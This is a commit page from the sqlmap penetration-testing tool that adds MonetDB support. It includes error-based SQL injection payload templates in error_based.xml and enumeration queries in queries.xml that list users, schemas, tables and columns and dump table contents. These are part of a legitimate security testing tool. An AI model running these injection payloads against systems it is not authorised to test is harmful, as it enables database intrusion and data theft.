Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 1087396

Browse files
committed
Adding support for MonetDB
1 parent 1cfe370 commit 1087396

23 files changed

Lines changed: 460 additions & 18 deletions

data/xml/errors.xml

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -169,4 +169,10 @@
169169
<dbms value="H2">
170170
<error regexp="org\.h2\.jdbc"/>
171171
</dbms>
172+
173+
<!-- MonetDB -->
174+
<dbms value="MonetDB">
175+
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
176+
<error regexp="\[MonetDB\]\[ODBC Driver"/>
177+
</dbms>
172178
</root>

data/xml/payloads/error_based.xml

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -704,6 +704,44 @@
704704
<dbms>Firebird</dbms>
705705
</details>
706706
</test>
707+
708+
<test>
709+
<title>MonetDB AND error-based - WHERE or HAVING clause</title>
710+
<stype>2</stype>
711+
<level>3</level>
712+
<risk>1</risk>
713+
<clause>1,9</clause>
714+
<where>1</where>
715+
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
716+
<request>
717+
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
718+
</request>
719+
<response>
720+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
721+
</response>
722+
<details>
723+
<dbms>MonetDB</dbms>
724+
</details>
725+
</test>
726+
727+
<test>
728+
<title>MonetDB OR error-based - WHERE or HAVING clause</title>
729+
<stype>2</stype>
730+
<level>3</level>
731+
<risk>3</risk>
732+
<clause>1,9</clause>
733+
<where>2</where>
734+
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
735+
<request>
736+
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
737+
</request>
738+
<response>
739+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
740+
</response>
741+
<details>
742+
<dbms>MonetDB</dbms>
743+
</details>
744+
</test>
707745
<!--
708746
TODO: if possible, add payload for SQLite, Microsoft Access,
709747
and SAP MaxDB - no known techniques at this time

data/xml/queries.xml

Lines changed: 67 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -531,7 +531,7 @@
531531
</roles>
532532
<statements/>
533533
<dump_table>
534-
<inband query="SELECT %s FROM %%s"/>
534+
<inband query="SELECT %s FROM %s"/>
535535
<blind query="SELECT MIN(%s) FROM %s WHERE CHR(%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CHR(%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
536536
</dump_table>
537537
</dbms>
@@ -876,4 +876,70 @@
876876
<search_table/>
877877
<search_column/>
878878
</dbms>
879+
880+
<!-- MonetDB -->
881+
<dbms value="MonetDB">
882+
<cast query="CAST(%s AS VARCHAR(4000))"/>
883+
<length query="LENGTH(%s)"/>
884+
<isnull query="COALESCE(%s,' ')"/>
885+
<delimiter query="||"/>
886+
<limit query="LIMIT %d OFFSET %d"/>
887+
<limitregexp query="\s+LIMIT\s+([\d]+)\s*OFFSET\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
888+
<limitgroupstart query="1"/>
889+
<limitgroupstop query="2"/>
890+
<limitstring query=" LIMIT "/>
891+
<order query="ORDER BY %s ASC"/>
892+
<count query="COUNT(%s)"/>
893+
<comment query="--" query2="#"/>
894+
<substring query="SUBSTRING((%s),%d,%d)"/>
895+
<concatenate query="CONCAT(%s,%s)"/>
896+
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
897+
<hex/>
898+
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
899+
<banner query="SELECT value FROM environment WHERE name='monet_version'"/>
900+
<current_user query="CURRENT_USER"/>
901+
<current_db query="SELECT CURRENT_SCHEMA" query2="SELECT value FROM environment WHERE name='gdk_dbname'"/>
902+
<hostname/>
903+
<table_comment/>
904+
<column_comment/>
905+
<is_dba query="(SELECT grantor FROM auths WHERE name=CURRENT_USER)=0"/>
906+
<check_udf/>
907+
<users>
908+
<inband query="SELECT name FROM sys.users"/>
909+
<!-- NOTE: LIMIT %d OFFSET %d not supported inside subqueries -->
910+
<blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM sys.users)x WHERE x.y-1=%d" count="SELECT COUNT(name) FROM sys.users"/>
911+
</users>
912+
<passwords/>
913+
<privileges/>
914+
<roles/>
915+
<statements/>
916+
<dbs>
917+
<inband query="SELECT name FROM schemas"/>
918+
<blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM sys.schemas)x WHERE x.y-1=%d" count="SELECT COUNT(DISTINCT(name)) FROM schemas"/>
919+
</dbs>
920+
<tables>
921+
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false"/>
922+
<blind query="SELECT name FROM (SELECT tables.name,row_number() over() AS y FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s')x WHERE x.y-1=%d" count="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'"/>
923+
</tables>
924+
<columns>
925+
<inband query="SELECT name,type FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s' AND tables.id=table_id)" condition="name"/>
926+
<blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s'))x WHERE x.y-1=%d" query2="SELECT type FROM columns WHERE name='%s' AND table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s')" count="SELECT COUNT(name) FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s')" condition="name"/>
927+
</columns>
928+
<dump_table>
929+
<inband query="SELECT %s FROM %s.%s"/>
930+
<blind query="SELECT z FROM (SELECT %s AS z,row_number() over() AS y FROM %s.%s)x WHERE x.y-1=%d" count="SELECT COUNT(*) FROM %s.%s"/>
931+
</dump_table>
932+
<search_db>
933+
<inband query="SELECT schemas.name FROM schemas WHERE %s" condition="schemas.name"/>
934+
<blind query="SELECT DISTINCT(schemas.name) FROM schemas WHERE %s" count="SELECT COUNT(DISTINCT(schemas.name)) FROM schemas WHERE %s" condition="schemas.name"/>
935+
</search_db>
936+
<search_table>
937+
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" condition="tables.name" condition2="schemas.name"/>
938+
<blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" condition="tables.name" condition2="schemas.name"/>
939+
</search_table>
940+
<search_column>
941+
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" condition="columns.name" condition2="schemas.name" condition3="tables.name"/>
942+
<blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE schemas.name='%s'" count="SELECT COUNT(DISTINCT(schemas.name)) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE schemas.name='%s'" condition="columns.name" condition2="schemas.name" condition3="tables.name"/>
943+
</search_column>
944+
</dbms>
879945
</root>

lib/controller/handler.py

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,7 @@
2424
from lib.core.settings import HSQLDB_ALIASES
2525
from lib.core.settings import H2_ALIASES
2626
from lib.core.settings import INFORMIX_ALIASES
27+
from lib.core.settings import MONETDB_ALIASES
2728
from lib.utils.sqlalchemy import SQLAlchemy
2829

2930
from plugins.dbms.mssqlserver import MSSQLServerMap
@@ -52,6 +53,8 @@
5253
from plugins.dbms.h2.connector import Connector as H2Conn
5354
from plugins.dbms.informix import InformixMap
5455
from plugins.dbms.informix.connector import Connector as InformixConn
56+
from plugins.dbms.monetdb import MonetDBMap
57+
from plugins.dbms.monetdb.connector import Connector as MonetDBConn
5558

5659
def setHandler():
5760
"""
@@ -73,6 +76,7 @@ def setHandler():
7376
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
7477
(DBMS.H2, H2_ALIASES, H2Map, H2Conn),
7578
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
79+
(DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn),
7680
]
7781

7882
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)

lib/core/agent.py

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -648,7 +648,7 @@ def concatQuery(self, query, unpack=True):
648648
elif fieldsNoSelect:
649649
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
650650

651-
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
651+
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB):
652652
if fieldsExists:
653653
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
654654
concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -941,6 +941,16 @@ def limitQuery(self, num, query, field=None, uniqueField=None):
941941
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
942942
limitedQuery += " %s" % limitStr
943943

944+
elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
945+
if query.startswith("SELECT ") and field is not None and field in query:
946+
original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
947+
for part in original.split(','):
948+
if re.search(r"\b%s\b" % re.escape(field), part):
949+
_ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
950+
replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
951+
limitedQuery = replacement
952+
break
953+
944954
elif Backend.isDbms(DBMS.HSQLDB):
945955
match = re.search(r"ORDER BY [^ ]+", limitedQuery)
946956
if match:

lib/core/common.py

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -147,6 +147,7 @@
147147
from lib.core.settings import NULL
148148
from lib.core.settings import PARAMETER_AMP_MARKER
149149
from lib.core.settings import PARAMETER_SEMICOLON_MARKER
150+
from lib.core.settings import PARAMETER_PERCENTAGE_MARKER
150151
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
151152
from lib.core.settings import PARTIAL_VALUE_MARKER
152153
from lib.core.settings import PAYLOAD_DELIMITER
@@ -2021,6 +2022,8 @@ def safeStringFormat(format_, params):
20212022
if retVal.count("%s", start, end) == len(params):
20222023
for param in params:
20232024
index = retVal.find("%s", start)
2025+
if isinstance(param, six.string_types):
2026+
param = param.replace('%', PARAMETER_PERCENTAGE_MARKER)
20242027
retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:]
20252028
else:
20262029
if any('%s' in _ for _ in conf.parameters.values()):
@@ -2046,7 +2049,7 @@ def safeStringFormat(format_, params):
20462049
else:
20472050
break
20482051

2049-
retVal = getText(retVal)
2052+
retVal = getText(retVal).replace(PARAMETER_PERCENTAGE_MARKER, '%')
20502053

20512054
return retVal
20522055

@@ -4067,7 +4070,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
40674070

40684071
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
40694072
retVal = "`%s`" % retVal
4070-
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
4073+
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB):
40714074
retVal = "\"%s\"" % retVal
40724075
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
40734076
retVal = "\"%s\"" % retVal.upper()
@@ -4105,7 +4108,7 @@ def unsafeSQLIdentificatorNaming(name):
41054108
if isinstance(name, six.string_types):
41064109
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):
41074110
retVal = name.replace("`", "")
4108-
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB):
4111+
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB, DBMS.MONETDB):
41094112
retVal = name.replace("\"", "")
41104113
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
41114114
retVal = name.replace("\"", "").upper()

lib/core/dicts.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@
1717
from lib.core.settings import HSQLDB_ALIASES
1818
from lib.core.settings import INFORMIX_ALIASES
1919
from lib.core.settings import MAXDB_ALIASES
20+
from lib.core.settings import MONETDB_ALIASES
2021
from lib.core.settings import MSSQL_ALIASES
2122
from lib.core.settings import MYSQL_ALIASES
2223
from lib.core.settings import NULL
@@ -198,6 +199,7 @@
198199
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
199200
DBMS.H2: (H2_ALIASES, None, None, None),
200201
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
202+
DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"),
201203
}
202204

203205
FROM_DUMMY_TABLE = {

lib/core/dump.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -166,7 +166,7 @@ def currentUser(self, data):
166166
def currentDb(self, data):
167167
if Backend.isDbms(DBMS.MAXDB):
168168
self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
169-
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
169+
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB):
170170
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
171171
else:
172172
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)

lib/core/enums.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -45,6 +45,7 @@ class DBMS(object):
4545
HSQLDB = "HSQLDB"
4646
H2 = "H2"
4747
INFORMIX = "Informix"
48+
MONETDB = "MonetDB"
4849

4950
class DBMS_DIRECTORY_NAME(object):
5051
ACCESS = "access"
@@ -60,6 +61,7 @@ class DBMS_DIRECTORY_NAME(object):
6061
HSQLDB = "hsqldb"
6162
H2 = "h2"
6263
INFORMIX = "informix"
64+
MONETDB = "monetdb"
6365

6466
class CUSTOM_LOGGING(object):
6567
PAYLOAD = 9

lib/core/settings.py

Lines changed: 7 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@
1818
from thirdparty.six import unichr as _unichr
1919

2020
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
21-
VERSION = "1.4.1.25"
21+
VERSION = "1.4.1.26"
2222
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2323
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2424
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -60,6 +60,7 @@
6060
PARAMETER_AMP_MARKER = "__AMP__"
6161
PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__"
6262
BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__"
63+
PARAMETER_PERCENTAGE_MARKER = "__PERCENTAGE__"
6364
PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__"
6465
PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
6566
URI_QUESTION_MARKER = "__QUESTION_MARK__"
@@ -257,6 +258,7 @@
257258
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
258259
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
259260
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
261+
MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
260262

261263
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
262264
MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria")
@@ -265,19 +267,20 @@
265267
SQLITE_ALIASES = ("sqlite", "sqlite3")
266268
ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access")
267269
FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb")
268-
MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
270+
MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db")
269271
SYBASE_ALIASES = ("sybase", "sybase sql server")
270272
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
271273
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
272274
H2_ALIASES = ("h2",)
273275
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
276+
MONETDB_ALIASES = ("monet", "monetdb",)
274277

275278
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
276279

277-
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
280+
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES
278281
SUPPORTED_OS = ("linux", "windows")
279282

280-
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
283+
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES))
281284

282285
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
283286
REFERER_ALIASES = ("ref", "referer", "referrer")

0 commit comments

Comments
 (0)